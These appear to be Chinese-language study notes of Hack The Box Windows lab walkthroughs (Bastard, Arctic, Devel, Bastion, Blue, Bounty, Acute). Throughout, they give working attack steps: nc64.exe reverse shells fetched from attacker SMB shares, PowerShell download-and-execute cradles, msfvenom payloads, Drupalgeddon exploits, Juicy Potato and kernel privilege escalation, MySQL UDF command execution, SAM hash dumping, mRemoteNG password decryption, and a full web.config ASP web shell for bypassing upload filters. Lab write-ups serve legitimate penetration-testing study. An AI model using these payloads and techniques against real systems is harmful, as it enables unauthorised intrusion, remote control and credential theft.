windows靶机60-100

windows靶机

HTB Bastard

sudo sed -i 's/;extension=curl/extension=curl/' /etc/php/8.1/cli/php.ini 快熟消除注释

sudo sed -i 's|;extension=curl|extension=/usr/lib/php/20220829/curl.so|' /etc/php/8.1/cli/php.ini

在文档里面,这里是对参数和工具的解释

ping -c 1 完成一次

对于找敏感文件的反思

红队时,对于常⽤端⼝完全可以被动信息收集,即不是nmap这种噪⾳和流量特征⻛险较⼤的扫描,⽐

如这⾥完全可以直接看80端⼝,想到看robots.txt⽂件,这对于稍有⼀点web渗透经验的⼈来说,并不难想

到。changelog.txt和readme.txt等⽂件也不难想到,即使想不到,也可以找到⽹上对应版本drupal安装⽂件

包,下载下来,去看他的⽬录结构,⽽不是直接⽬录爆破。

searchsploit drupal --exclude="(Metasploit)|Denial of Service" exclude参数

他的工具替代

其实有个searchspoilt的替代⽅案,就是droopescan,就像你在⾯对wordpress时有wpscan⼀样,droopescan是

对drupal枚举信息和查找利⽤的好⼯具。当然现在这个⼯具也⽀持对SilverStripe、Wordpress、Joomla、Moodle

等cms的枚举扫描,当没有思路时,这个⼯具也可能为你打开⼀扇窗。

droopescan scan drupal -u 10.129.174.198

其实,⼤型复杂系统往往都有⼈编写利⽤⼯具或枚举,作为⼀个⼤的思路或⽅向要能想到这⼀点,想到去搜

这类⼯具,不⼀定管⽤,但会拓宽你的思路,增加可能性。

41564

这边利用41564时,出现错误(缺少endpoint),可以先去exp的官网看一下,搜搜endpoint,官网提示这个url和endpoint是不确定的,需要自己去寻找

在寻找endpoint信息时,利用dirsearch的时候,利用的字典是自己写的,根据大字典爆破要5小时

利用后会得到admin的hash drupal的加密有7900

可以用hashcat查一下 hashcat --help | grep drupal

由于这个破解要很久,现在利用这个exp创建的目录文件

$ curl -s http://10.129.203.230/RedteamNotes.php?RedteamNotes=systeminfo

看到windows系统信息,并且没有hotfix的状态。现在先设法获得系统shell.他是一个小型恢复补丁

一般看到没有hotfix可以想到利用内核漏洞

window的命令行反弹shell

通过google或github搜索nc64.exe,获得nc64.exe⽂件。⽤smbserver架设samba共享服务,⽤来提供nc64.exe 下载服务

kali

sudo wget https://github.com/vinsworldcom/NetCat64/releases/download/1.11.6.4/nc64.exe

locate smbserver

sudo python /usr/share/doc/python3-impacket/examples/smbserver.py share .

在url中访问如下地址:

http://10.129.203.230/RedteamNotes.php?RedteamNotes=\ \10.10.16.11\share\nc64.exe%20-

e%20cmd.exe%2010.10.16.11%20443

sudo nc -lvnp 443

whoami systeminfo cd c:\users\ dir type user.txt

反弹shell途径2 session利用登入后台

将41564.php执⾏后劫持的session注⼊到我们访问,⽤到cookie manger⼯具 火狐的插件

cat session.json 利用工具后刷新后就是admin了

在菜单Module下有PHP filter以下,可以执⾏php代码,激活它。看能否借此获得反弹shell,这⾥要经验,也很简

单,进到PHP语⾔的CMS肯定想找到能执⾏php的地⽅,之后获得反弹shell的原理我们就⾮常熟了。

goole搜索 php reverse shell for windows github

按add content按钮,在⽂章内容区域,写⼊如下反弹shell。此脚本经Google搜索,⼏个脚本多次尝试后选⽤

的。源码地址:phpshell/reverp.php at master · Ethancck/phpshell · GitHub

不要忘了选择Text format选择PHP code

通过Drupalgeddon2利⽤实现

searchsploit drupal Drupalgeddon -m 44449.rb

ruby 44449.rb

已经可以获得user.txt的⽤户flag。

其实现作为系统初始⽴⾜点,可以到此为⽌,但为了提权⽅便,还可以更进⼀步获得cmd或者powershell的命令

⾏,显然⽤之前的⽅法上传nc64.exe是可以的。但这⾥换⼀种⽅法,也⽅便练习得更多。

nishang

⽤Nishang GitHub - samratashok/nishang: Nishang - Offensive PowerShell for red team, penetration testing and offensive security. 这个极为重要得框架来实现

Nishang 因其强⼤的 PowerShell 功能和易⽤性⽽受到渗透测试⼈员、安全研究⼈员和红队成员的欢迎。它简化了使⽤ PowerShell 进⾏攻击性安全测试的过程,并提供了丰富的⼯具和技术,适⽤于渗透测试的各个阶段。

本次我们⽤到这个脚本,PowerShellTcp.ps1,先在kali中安装nishang,因为windows渗透⽤到它的时候太多了!

$ sudo apt install nishang

nishang

ls -liah Shells/

将Invoke-PowerShellTcp.ps1复制到⼯作⽬录下,编辑脚本在尾部追加:

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.11 -Port 443 就是脚本本身,反弹shell 到攻击机

然后为脚本⽂件架设建议web服务器。同时nc监听443端⼝。之后在靶机的 drupalgeddon2>> 提示符下执⾏:

powershell iex(new-object net.webclient).downloadstring('http://10.10.16.11:8080/InvokePowerShellTcp.ps1')

执行后会访问kali服务器中的我们改的脚本,反弹shell

sudo nc -lvnp 443

获得初级权限shell⽅法三:通过Drupalgeddon3利⽤实现

searchsploit drupal Drupalgeddon -m 44542

cat 44542.txt

根据其⽤法描述,需要有认证成功的账户,并且有删除节点的权限。记得module service的session劫持吗?可以

吗,然后我们就可以按照上⽂说的利⽤了,操作以下,为了减低点难度,找⼀下现成的利⽤,在google中搜

索”drupalgeddon3.py exploit“关键词,找到: https://github.com/oways/SA-CORE-2018-

004/blob/master/drupalgeddon3.py ,利⽤源码如下:在pdf

python drupalgeddon3.py [URL] [Session] [Exist Node number] [Command]

先执⾏41564.php获得劫持的session信息,注意之前先修改其中的ip地址为重置后靶机ip地址

⽤cookie manger⼯具写⼊上⾯的信息后,获得admin的会话访问界⾯。

按如下箭头所示,获得url中node/1的信息。

然后执⾏利⽤。

python drupalgeddon3.py http://10.129.185.122

"SESSf6d33c9ded577647a769fff3692d7ad8=9TNVESAee_ZhJKiWtwahlJCbISB9208pMbjU1MlUdP4" 1

"whoami"

1是Exist Node number

然后类似之前的操作,建⽴smbserver,提供nc64.exe的下载和执⾏,获得反弹shell。执⾏⼀下:

sudo python /usr/share/doc/python3-impacket/examples/smbserver.py share .

监听就绪:sudo nc -lvnp 443

执⾏利⽤,加⼊payload。整条命令如下:

$ python drupalgeddon3.py http://10.129.185.122

"SESSf6d33c9ded577647a769fff3692d7ad8=9TNVESAee_ZhJKiWtwahlJCbISB9208pMbjU1MlUdP4" 1

"//10.10.16.11/share/nc64.exe -e cmd.exe 10.10.16.11 443"

提权

提权枚举

sudo wget --no-check-certificate https://github.com/carlospolop/PEASS

ng/blob/master/winPEAS/winPEASps1/winPEAS.ps1

C:\inetpub\drupal-7.54> IEX(New-Object

System.Net.Webclient).DownloadString('http://10.10.16.11/winPEAS.ps1')

CVE-2018-8120提权(windows server 2008 r2 privilege escalation exploit)

goole搜索

windows server 2008 r2 privilege escalation exploit

看通⽤github库,因为⼀般选择可能会更多。点开⻚⾯,全⻚⾯搜索R2关键字,选定CVE-2018-8120,下载其中

的x64.exe利⽤⾄⼯作⽂件夹。

在kali中建⽴nc监听,监听端⼝4444,在靶机的初始权限中执⾏:

\10.10.16.11\share\x64.exe "\10.10.16.11\share\nc64.exe -e cmd.exe 10.10.16.11 4444"

监听中收到反弹shell

sudo nc -lvnp 4444 提权成功

Juicy Potato提权(server<2019)

根据刚刚看到的提权⻚⾯:Windows - Privilege Escalation:

PayloadsAllTheThings/Methodology and Resources/Windows - Privilege Escalation.md at master · swisskyrepo/PayloadsAllTheThings · GitHub

server版本⼩于 Windows Server 2019,都可以试Juicy Potato

⽽且靶机系统初始权限是激活了SeImpersonatePrivilege权限的:

whoami /priv

⽽且靶机系统初始权限是激活了SeImpersonatePrivilege权限的:

SeImpersonatePrivilege 是 Windows 操作系统中的一种特权(Privilege),用于授予进程模拟(Impersonation)其他用户的能力。模拟(Impersonation)是指一个进程可以暂时采用另一个用户的身份执行操作,而不是以自己的身份执行。这通常用于服务(services)和服务器进程,以便它们可以在执行操作时以用户的身份执行,而不是以服务或系统的特权执行。

先按照上图⻚⾯的可⽤⼆进制⽂件库,即juicy-potato:Releases · ohpe/juicy-potato · GitHub 下载JuicyPotato.exe到kali的⼯作⽂件夹中。然后⽤如下命令传到靶机中

certutil.exe -urlcache -split -f http://10.10.16.11/JuicyPotato.exe

在kali中⽤nc监听4444端⼝,然后按照利⽤⽂件的⽤法执⾏:

JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "\10.10.16.11\share\nc64.exe -e cmd.exe 10.10.16.11 4444" -t * -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}

上⾯的命令执⾏失败,⽤前⾯certutil.exe命令将nc64.exe下载到靶机本地,重新执⾏命令如下:

JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\inetpub\drupal-

7.54\nc64.exe -e cmd.exe 10.10.16.11 4444" -t * -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}

MS15-051提权

还是按照刚才的⻚⾯,即Windows - Privilege Escalation ,MS15-051也是可以提权的。尝试⼀下:

在github中搜索MS15-051:

现在就想⽤公共利⽤,就⽤第⼀个吧。下载器x64的编译⽂件到kali的⼯作⽂件夹。可参⻅下载地址:

ms15-051/ms15-051/ms15-051/x64 at master · euphrat1ca/ms15-051 · GitHub

然后在靶机中执⾏如下命令,确认可提权。

\10.10.16.11\share\ms15-051.exe "whoami"

然后执⾏:

\10.10.16.11\share\ms15-051.exe "\10.10.16.11\share\nc64.exe -e cmd.exe 10.10.16.11 4444"

成功获得反弹shell:

MySQL UDF提权

我们知道drupal⼀定是由数据库的,但是端⼝扫⾯是没有发现对应端⼝,现在有⽴⾜点了,可以看看数据库中有什么信息,能够给我提权的途径。

netstat -ano

在 C:\inetpub\drupal-7.54\sites\default\settings.php 找到数据库凭据:

本地mysql访问受限,没有直接对外暴漏端⼝,我们做下端⼝反向转发。先安装chisel:

sudo apt install chisel

在Release chisel 下载x64版本到kali⼯作路径下。

搬运到靶机中:

>certutil.exe -urlcache -split -f http://10.10.16.11/chisel.exe

然后在kali中执⾏,建⽴chisel服务器端服务,监听9595端⼝,等待获得反向链接。

$ chisel server -p 9595 --reverse

在靶机中执⾏客户端,链回服务器端,⽤R:3306指定远端,即kali端的3306映射到本地,即靶机的3306,建⽴隧道。

chisel.exe client 10.10.16.11:9595 R:3306:localhost:3306

连接后服务端是有响应⽇志的。然后再kali中连接mysql数据库

mysql -h 127.0.0.1 -u root -p

select @@version;

select@@version_compile_os, @@version_compile_machine;

select@@plugin_dir ;

show variables like '%secure%';

这些信息表明我们可以考虑udf提权的。权限、路径、数据库版本和服务器版本我们都知道。

准备udf提权⽂件,再metasploit中是有⼀个可⽤的⽂件的,⽹上搜也可以

locate mysqludf

cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll .

在MySQL命令⾏中执⾏

select load_file('\\10.10.16.11\share\lib_mysqludf_sys_64.dll') into dumpfile

"C:\Program Files\MySQL\MySQL Server 5.5\lib\plugin\udf.dll";

create function sys_exec returns int soname 'udf.dll';

在kali中建⽴nc监听8888端⼝。然后再MySQL命令⾏中执⾏:

select sys_exec("\\10.10.16.11\share\nc64.exe -e cmd.exe 10.10.16.11 8888");

收到反弹shell,并再次获得root.txt的flag。

sudo nc -lvnp 8888

arctic(Adobe Cold Fusion 版本 8)

nmap扫描,web面进入8500端口

进入cfide,浏览./CFIDE/显示了adobe的应用程序(专门用于创建动态网页以及网络应用程序和设计的开发工具)。再进去到adminstrator,发现了一个名为Adobe Cold Fusion 版本 8的中央管理系统 (CMS)

searchsploit Cold Fusion ,这边我利用了文件上传和rce都不行,利用目录遍历的可以

http://server/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en

然后得到admin的hash值

CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc. 解密happyday

登入来到后台

coldfusion8后台计划任务拿shell_coldfusion8 后台 文件上传-CSDN博客

这是它提权的文章

(msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.8 LPORT=443 -f raw > shell.jsp

C:\ColdFusion8\wwwroot\CFIDE\administrator\analyzer\shell.jsp)

systeminfo 将内容复制 是window 2008 r2 的 而且

systeminfo | findstr /B /C:"Host Name" /C:"OS Name" /C:"OS Version" /C:"System Type" /C:"Hotfix(s)"

whoami /priv

没打补丁且土豆提权的前提有 可以利用试试

这边是利用windows-exploit-suggester.py枚举看可以利用哪些(最终MS10-059漏洞)

kali impacket-smbserver share $(pwd) -smb2support

靶机

copy \10.10.14.27\share\Chimichurri.exe

Chimichurri.exe 10.10.14.27 5555

工具的利用,我的用不了不知道为啥子

(./windows-exploit-suggester.py --update

./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx -i system.txt

python2.7 windows-exploit-suggester.py --database 2023-12-04-mssb.xls -i system.txt

powershell iex(new-object net.webclient).downloadstring('http://10.10.14.8:8080/JuicyPotato.exe')

GitHub - AonCyberLabs/Windows-Exploit-Suggester: This tool compares a targets patch levels against the Microsoft vulnerability database in order to detect potential missing patches on the target. It also notifies the user if there are public exploits and Metasploit modules available for the missing bulletins.)

devel(aspx木马,win7提权漏洞编译使用,ftp突破)

ASP.net 开发人员应该注意其 Web 空间中的 aspnet_client 文件夹。该文件夹与 ASP.net 运行时验证相关,并且有其自身的重要性。当您在站点上启用 ASP.net 扩展时,会自动创建此文件夹。aspnet_client 文件夹包含一些 ASP.NET Web 窗体控件(即验证、SmartNavigation)使用的客户端代码。此文件夹中包含的脚本由使用需要这些脚本的控件的网页调用。如果您使用的控件使用此文件夹中的脚本之一并且无法找到该脚本,则该控件将无法执行其客户端工作。

dirb http://10.10.10.93/aspnet_client/system_web/ fuzz.txt -r

aspnet_client 文件夹枚举和模糊测试(http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html)

这条路线不行但是可以记住aspnet_client,这个经常在asp服务器上

有个ftp的端口,这个我一开始就是了,要ftp anonymous@10.10.10.5 记得不要直接连它

上去后可以put直接放马试试,记得放aspx的马

我们访问的是 ASP Web 服务器

用的aspx木马

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.55 LPORT=443 -f aspx > payload.aspx

msfconsole

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp set LHOST tun0 set LPORT 6969

run

run post/multi/recon/local_exploit_suggester

这个是msf里面带的找看可以提权的

1.Sherlock ps1 github 这个可以识别内核漏洞下载本地上传kali,然后上传靶机GitHub - rasta-mouse/Watson: Enumerate missing KBs and suggest exploits for useful Privilege Escalation vulnerabilities 它提示用Watson

识别到ms10_015,msf里面这个漏洞有可以利用

image-20231204234926289

或者goole搜索microsoft windows 7 build exploit

Devel Writeup w/o Metasploit | Hack The Box OSCP Preparation

MS11-046

img

更新searchsploit以确保您拥有所有最新的漏洞。

searchsploit -u

使用-m标志查找漏洞利用40564并将其复制到当前目录

searchsploit -m 40564

现在,我们需要编译漏洞利用程序。编译说明位于exploitdb网页中。

img

如果您尚未安装 mingw-w64,请安装它。

apt-get updateapt-get install mingw-w64

使用列出的命令编译它

i686-w64-mingw32-gcc 40564.c -o 40564.exe -lws2_32

好的,我们有一个已编译的漏洞利用程序。现在剩下的就是将漏洞利用程序传输到目标(开发)机器。

在攻击 (Kali) 机器上启动服务器。

python -m SimpleHTTPServer 9005

Windows 上似乎没有安装 Netcat,但 powershell 却安装了。因此,我们将使用它将文件从服务器传输到我们可以写入的目录。

powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.14.30:9005/40564.exe', 'c:\Users\Public\Downloads\40564.exe')"

https://medium.com/@JAlblas/hack-the-box-devel-guided-mode-walkthrough-f83f5b803ce7

Bastion(smb挂载,vhd文件,mRemoteNG敏感文件泄露,)

linux挂载smb中vhd_ubuntu 挂载 vhd-CSDN博客 如何挂载

HackTheBox – Bastion - Walkthrough Write-Up HTB writeup

有smb服务,smbclient \\10.10.10.134\Backups -U ""

进入后要下载文件

prompt off

recurse on

mget * 文件很大要下载很久,使用另一种办法

note.txt里面提示这是挂载共享并直接与文件交互而不是下载它们的提示。

mount -t cifs //10.10.10.134/backups /mnt -o user=,password= 挂载查看

find /mnt/ -type f 列出共享中的所有文件:我看到两个磁盘映像 vhd 文件。

VHD文件包含Microsoft Windows Virtual PC(Windows)使用的虚拟硬盘映像。 虚拟化 程序。 它存储虚拟机(VM)硬盘的内容,其中可能包括磁盘分区,文件系统,文件和文件夹。 VHD文件可用于在一台计算机上安装多个操作系统,测试软件程序或运行较旧的应用程序。

安装vhd挂载所需程序

sudo apt-get install libguestfs-tools

  1. 检查挂载磁盘

sudo guestfish --ro -a '/mnt/123/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd'

  • guestfish:这是用于与虚拟机磁盘映像交互的命令行工具。它是 Libguestfs 项目的一部分,该项目提供用于访问和修改虚拟机 (VM) 磁盘映像的工具。

  • --ro:指定磁盘映像应以只读模式打开。这是一项安全措施,旨在防止无意中修改磁盘映像。

  • -a '/mnt/134/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd':指定要访问的虚拟机磁盘映像的路径。在这种情况下,路径指向位于指定目录的VHD(虚拟硬盘)文件。

    run

    list-filesystems

su root

2.挂载vhd文件

mkdir 1234

guestmount -a '/mnt/123/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd' -m /dev/sda1 --ro /mnt/1234

挂载vhd文件

  1. # -a 指定vhd文件

  2. # -m 指定挂载磁盘

  3. # -ro 指定为只读

guestmount --add /mnt/123/WindowsImageBackup/L4mpje-PC/Backup\ 2019-02-22\ 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd --inspector --ro /mnt/1234

  • --inspector:此选项启用检查器模式。检查器是一个可以自动检测映像中有关操作系统和磁盘结构的信息的工具。它有助于理解磁盘映像的内容和结构。

  • --ro:指定磁盘映像应以只读模式安装。这是一项安全措施,旨在防止无意中修改磁盘映像。

  • /mnt2/:指定主机系统上将安装虚拟机磁盘映像内容的安装点。您将能够在此安装点访问磁盘映像的内容。

开始对挂载的目录进行遍历

看来一下文件后没什么,可以去看系统上的重要项目,并转到 C:\Windows\System32\config,我知道 SAM 和 SYSTEM 文件所在的位置。

转储凭证 – SAM 文件哈希 Dumping Credentials – SAM File Hashes - Juggernaut-Sec

SAM 文件位于%SystemRoot%\system32\config目录中(通常为C:\Windows\system32\config)。它存储用户帐户信息,包括用户名和密码哈希值。SAM 文件是 Windows 安全基础结构的关键组件,用于系统上的本地身份验证。

SYSTEM 文件是 Windows 注册表的一部分,通常位于同一%SystemRoot%\system32\config目录中。该文件包含与系统的硬件和软件设置相关的配置信息。

在运行的Windows主机上,SAM和SYSTEM文件被锁定;然而,在备份中它们是可以访问的,因为它们没有“使用中”。

window文件下载到klai方法

Invoke-WebRequest -Uri http://your_kali_ip/file_to_download -OutFile C:\path\on\Windows\file_to_download

还有就是smb了

下面有两种方法提取sam和system中的信息

sudo apt-get update sudo

apt-get install python3-impacket

ls /usr/lib/python3/dist-packages/impacket

/usr/lib/python3/dist-packages/impacket/examples/secretsdump.py

secretsdump.py -sam SAM -security SECURITY -system SYSTEM LOCAL

该命令secretsdump.py是 Impacket 工具包的一部分,用于执行凭据转储并从 Windows 系统上的 SAM、SECURITY 和 SYSTEM 注册表配置单元中提取信息。以下是该命令及其组件的说明:

  • secretsdump.py:这是来自 Impacket 工具包的脚本,该工具包是 Python 类的集合,专注于提供对网络协议的低级编程访问。

  • -sam SAM:指定 SAM 文件的路径,该文件包含有关 Windows 系统上的本地帐户的信息,包括密码哈希值。

  • -security SECURITY:指定 SECURITY 文件的路径,该文件是 Windows 注册表的一部分,包含与安全相关的信息。

  • -system SYSTEM:指定 SYSTEM 文件的路径,该文件是 Windows 注册表的另一部分,包含有关系统的配置信息。

  • LOCAL:指定要执行凭证转储的目标计算机。在这种情况下,它似乎指的是本地计算机。

该命令本质上是从 SAM 文件中提取和解密密码哈希值,并且还可以从 SECURITY 和 SYSTEM 文件中提供其他与安全相关的信息。该工具用于渗透测试和安全评估,以识别身份验证系统中的潜在漏洞。

samdump2 SYSTEM SAM > hashes.txt

  • samdump2:这是一种常用的工具,用于从 Windows 系统上的 SAM(安全帐户管理器)文件中转储密码哈希值。它经常用于渗透测试或安全评估。

  • SYSTEM:指定 SYSTEM 文件的路径,该文件是 Windows 注册表的一部分,包含有关系统的配置信息,包括解密密码哈希所需的详细信息。

  • SAM:指定 SAM 文件的路径,其中包含用户帐户信息,包括密码哈希值。SAM 文件位于%SystemRoot%\system32\configWindows 系统上的目录中。

  • > hashes.txt:将命令的输出重定向samdump2到名为hashes.txt. 该文件将包含提取的密码哈希值。

解密hash

hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt -o cracked.txt -r /usr/share/hashcat/rules/best64.rule 或者网站

(crackmapexec smb 10.10.10.134 -u 'L4mpje' -H 26112010952d963c8dc4217daec986d9

crackmapexec winrm 10.10.10.134 -u 'L4mpje' -H 26112010952d963c8dc4217daec986d9)

得到密码后ssh连接试试

站稳脚跟后,我立即决定将提示符从 cmd.exe 提升为 PowerShell。

powershell -ep bypass

提权

手工枚举一下

systeminfo net users

net user l4mpje whoami /priv

cmdkey /list用于显示本地计算机上存储的凭据列表

gci命令是 PowerShell 中 cmdlet 的别名Get-ChildItem,用于检索有关指定位置中的项目的信息。在你的命令下:

gci -Recurse C:\users | Select FullName

  • gci: 的别名Get-ChildItem,用于检索指定位置中的项目(文件和目录)。

  • -Recurse:指定该命令应递归搜索子目录以查找项目。

  • C:\users:指定开始搜索项目的位置,在本例中为“C:\users”目录。

  • |:管道运算符,它将 cmdlet 的输出传递Get-ChildItem到下一个命令。

  • Select FullName:使用cmdlet从 所返回的对象中Select-Object提取属性。该属性表示每个项目的完整路径和文件名。FullName``Get-ChildItem``FullName

因此,该命令检索并显示“C:\users”目录及其子目录下所有项目(文件和目录)的完整路径。输出将显示FullName找到的每个项目的属性。

cmd.exe /c dir /a C:\

细分如下:

  • cmd.exe:这是 Windows 命令提示符可执行文件。

  • /c:此选项告诉命令提示符运行指定的命令,然后终止。

  • dir:这是列出目录内容的命令。

  • /a:这是dir命令的一个选项,它代表“显示隐藏文件”。

  • C:\:这是您要列出其内容的目录。

因此,当您运行此命令时,它将使用命令提示符在 C: 驱动器的根目录上执行该dir /a命令,显示所有文件和目录的列表,包括隐藏的文件和目录。输出将包括文件名、大小和修改日期等详细信息。

请记住,命令/a中的选项dir用于显示隐藏文件。如果你想查看所有文件和目录,包括隐藏文件和系统文件,可以将命令修改为:

cmd.exe /c dir /a:h /a:s C:\

这里,/a:h显示隐藏文件,并/a:s显示系统文件。根据您的具体要求调整选项。

备份文件夹在这里;不过,我已经查看了该文件夹的内容。如果不知道Config.msi文件夹是什么,它可能会显得很有趣,因为它有一个文件扩展名,但它是一个标准文件夹。

由于在 C:\ 中没有看到任何真正有趣的内容,我将注意力转向 Program Files 文件夹,从 32 位目录开始。

cd "C:\Program Files (x86)"

ls

中有个mRemoteNG

再看一下 ls "C:\Program Files" 有个openssh-win64

果然,SSH 程序是 64 位的,位于 Program Files 文件夹中。如果 mRemoteNG 中没有任何结果,那么这就是我下一步要去的地方。

在confCons.xml 文件中查找管理员密码

谷歌搜索 mRemoteNG,它的内容如下:“mRemoteNG 或多远程下一代连接管理器是 一种工具,可帮助您管理与远程系统的多个不同连接。它可以处理不同类型的连接,包括远程桌面协议 (RDP)、虚拟网络计算 (VNC)、安全外壳 (SSH) 等。”

谷歌搜索“mremoteng凭证文件”第一个链接中有一些有趣的信息。

img

看到“保存连接文件”,我将搜索编辑为“ mremoteng 连接文件”,第二个链接在 Google 搜索页面本身上显示以下内容:

img

这表明连接文件于%userprofile%\AppData\Roaming\mRemoteNG\confCons.xml中– 我使用以下命令确认这是正确的:

ls C:\Users\l4mpje\AppData\Roaming\mRemoteNG\confCons.xml

cat .\confCons.xml

用户名=管理员 密码= aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw==

看着像base64编码

解码是一堆乱码,应该是有二次加密的

网上看看是否有任何 mRemoteNG 密码解密器的 GitHub 页面

mRemoteNG-Decrypt/mremoteng_decrypt.py at master · haseebT/mRemoteNG-Decrypt · GitHub查看脚本,发现密码首先使用 AES / SHA1 加密,然后进行 Base64 编码。

img

python3 mNRG-decrypt.py --string "aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw=="

thXLHM96BeKL0ER2

evil-winrm 是一个用于 Windows 远程管理的命令行工具。它是为红队和渗透测试人员设计的,用于通过 WinRM(Windows Remote Management)协议与目标 Windows 主机进行通信。WinRM是一种 Windows 远程管理协议,允许远程执行命令、脚本和管理 Windows 系统。

在你提供的命令中:

evil-winrm -i 10.10.10.134 -u Administrator -p "thXLHM96BeKL0ER2"

  • evil-winrm: 这是 evil-winrm 工具的执行命令。

  • -i 10.10.10.134: 指定目标 Windows 主机的 IP 地址。

  • -u Administrator: 指定要连接的 Windows 用户名,这里是 Administrator。

  • -p "thXLHM96BeKL0ER2": 指定用户的密码,这里是 Administrator 用户的密码。

该工具允许你通过 WinRM 连接到目标 Windows 主机,并以指定用户的身份执行命令、上传和下载文件等操作。这对于进行渗透测试或红队活动,以检查和验证 Windows 系统的安全性和弱点非常有用。

blue(永恒之蓝ms17-010)

Metasploit Unleashed | Meterpreter Basics | OffSec meterpreter的使用

nmap 扫描端口

image-20231206222306132

ms17010是永恒之蓝漏洞

msfconsole

search ms17-010

use 0

image-20231206222407203

image-20231206222415749

shell可以进入交互模式

面对一台Server 2008 机器

nmap 10.10.10.52 --script=smb-vuln* -p139,445 可以扫描smb漏洞

AutoBlue-MS17-010/eternal_checker.py at master · 3ndG4me/AutoBlue-MS17-010 · GitHub

eternal_checker.py可以测试永恒之蓝

Bounty(web.config文件上传绕过)

bypass upload aspx

在 IIS7(及更高版本)中,可以通过上传或制作 web.config 文件来实现类似的技巧。其中一些技巧甚至可能适用于 IIS6,只需进行一些细微的更改。下面的技术展示了一些不同的 web.config 文件,这些文件可用于绕过文件上传器的保护。

将 web.config 作为 ASP 文件运行

目录扫描

http://10.129.154.126/uploadedfiles/

http://10.129.154.126/transfer.aspx 上传文件点

有时 IIS 支持 ASP 文件,但无法上传任何扩展名为 .ASP 的文件。在这种情况下,可以直接使用web.config文件来运行ASP经典代码:

这个是谷歌搜索bypass upload aspx找到

Bypass Upload Restrictions and Evade Detection | Fgsec

<?xml version="1.0" encoding="UTF-8"?><configuration><system.webServer><handlers accessPolicy="Read, Script, Write"><add name="new_policy" path="*.config" verb="GET" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" /></handlers><security><requestFiltering><fileExtensions><remove fileExtension=".config" /></fileExtensions><hiddenSegments><remove segment="web.config" /></hiddenSegments></requestFiltering></security></system.webServer><appSettings></appSettings></configuration>
<!–-
<% 

Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
Function getCommandOutput(theCommand)
    Dim objShell, objCmdExec
    Set objShell = CreateObject("WScript.Shell")
    Set objCmdExec = objshell.exec(thecommand)
    getCommandOutput = objCmdExec.StdOut.ReadAll
end Function
szCMD = request("cmd")
thisDir = getCommandOutput("cmd /c" & szCMD)
Response.Write(thisDir)

%>

http://10.129.154.126/uploadedfiles/ web.config?cmd=whoami

sudo python /usr/share/doc/python3-impacket/examples/smbserver.py share .

http://10.129.154.126/uploadedfiles/ web.config?cmd=\10.10.14.72\share\nc64.exe -e cmd.exe 10.10.14.72 443

acute

https://arz101.medium.com/hackthebox-acute-ee0308b9b443

HTB: Acute | 0xdf hacks stuff

网站取得powershell页面

常规端口扫描 43端口 下面有一个dns网址 添加到/etc/hosts里面

image-20231207154845922

访问 https://atsserver.acute.local/ 大概看一下没有什么值得利用的,右上角有一个“新入门表格”的下载链接New_Starter_CheckList_v7.docx。kali中如何打开word,

image-20231207161537435

这边有一些用户名,先记下来后面可以用

图片-20220605205327299

目录爆破的话没有什么有用的信息,看一下下载的word,里面有个密码,并且可以访问连接是个登入页面

图片-20220607095832329

图片-20220607123106269

exiftool New_Starter_CheckList_v7.docx

里面有这个文档的创始人,还有类似电脑的名称

image-20231207164333699

访问remote指向的页面

image-20231208150016164

这会显示计算机名称Acute-PC01。我尝试使用FCastle我们获得的密码作为用户名,但没有成功,我继续尝试我们在“关于”部分找到的用户名并EDavies成功,这边可以枚举上面的用户

进入页面,会给你一个powershell的页面,但看起来我们在一个容器中,因为 IP 是172.16.22.2,运行net user命令来检查我们所在的组,它给出一个错误,表明该用户不存在

取得EDavies权限

image-20231207164446874

我们可以尝试扫描,172.16.22.1因为它是网关,并且可能打开了一些有趣的端口,因为我们无法真正在这台机器上安装 nmap,所以我们可以尝试使用 powershell 脚本来扫描端口

GitHub - JustinGrote/PoshNmap: A Powershell Wrapper for the Nmap Network Discovery Tool

img

传输后,如果我们尝试运行 powershell 脚本,它不会允许我们,因为它禁止运行脚本

img

我们可以尝试下载一下,通过IEX它导入内存中的脚本

IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.67/winPEAS.exe')

img

img

它显示的端口是 dns、smb、winrm 和 ldap,这可能意味着这可能是一个域控制器,我无法指定扫描端口 88 的脚本,所以我继续

在Users目录中,我们可以看到很少的用户,但我们没有权限查看内容

img

进入C驱动器,我们看到一个名为Utilsit 的文件夹,显示没有任何文件

img

在查看隐藏文件时dir -Force我们可以看到一个ini文件

img

这表明 Windows Defender 不会检查该目录中是否存在恶意文件,也许,白名单目录也可以通过查看 Defender 的排除路径找到

